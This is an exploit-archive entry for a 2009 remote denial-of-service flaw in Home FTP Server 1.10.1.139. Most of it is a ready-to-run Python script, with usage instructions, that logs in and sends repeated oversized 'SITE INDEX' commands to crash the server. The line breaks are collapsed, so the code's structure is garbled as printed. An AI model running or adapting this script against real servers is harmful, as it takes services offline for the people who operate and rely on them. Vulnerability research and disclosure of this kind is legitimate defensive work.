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Home FTP Server 1.10.1.139 'SITE INDEX' Command Remote DOS
======================================================================== Home FTP Server 1.10.1.139 'SITE INDEX' Command Remote Denial of Service ======================================================================== # Title: Home FTP Server 1.10.1.139 'SITE INDEX' Command Remote Denial of Service # CVE-ID: () # OSVDB-ID: () # Author: zhangmc # Published: 2009-11-16 # Verified: yes view source print? # Exploit Title: Home FTP Server 1.10.1.139 'SITE INDEX' Command Remote Denial of Service Vulnerability # Date: 16 Nov 09 # Author: zhangmc # Software Link: http://downstairs.dnsalias.net/files/HomeFtpServerInstall.exe # Version: Home FTP Server 1.10.1.139 # Tested on: [relevant os] Date: 16 Nov 2009 15:37:20 -0000 Date of Discovery: 16-Nov-2009 Credits:zhangmc[at]mail.ustc.edu.cn Vendor: Ari Pikivirta http://downstairs.dnsalias.net/homeftpserver.html Affected: Home FTP Server 1.10.1.139 Earlier versions may also be affected Overview: Home FTP Server FTP Server is an easy use FTP server Application. Denial of service vulnerability exists in Home FTP Server that causes the application to stop service when we send multiple irregular "SITE INDEX" commands to the server. Details: If you could log on the server successfully, take the following steps and the application will stop service: 1.sock.connect((hostname, 21)) 2.sock.send("user %s\r\n" %username) 3.sock.send("pass %s\r\n" %passwd) 4.for i in range(1,20): sock.send("SITE INDEX "+ "a"*30*i +"\r\n") 5.sock.close() Severity: High Exploit example: #!/usr/bin/python import socket import sys def Usage(): print ("Usage: ./expl.py <serv_ip> <Username> <password>\n") print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n") if len(sys.argv) <> 4: Usage() sys.exit(1) else: hostname=sys.argv[1] username=sys.argv[2] passwd=sys.argv[3] test_string="a"*30 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) for i in range(1,30): try: sock.connect((hostname, 21)) except: print ("Connection error!") sys.exit(1) r=sock.recv(1024) print "[+] "+ r sock.send("user %s\r\n" %username) print "[-] "+ ("user %s\r\n" %username) r=sock.recv(1024) print "[+] "+ r sock.send("pass %s\r\n" %passwd) print "[-] "+ ("pass %s\r\n" %passwd) r=sock.recv(1024) print "[+] "+ r for i in range(1,20): sock.send("SITE INDEX "+ test_string*i +"\r\n") print "[-] "+ ("SITE INDEX "+ test_string +"\r\n") r=sock.recv(1024) print "[+] "+ r sock.close() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sys.exit(0); # 0day.today [2024-12-24] #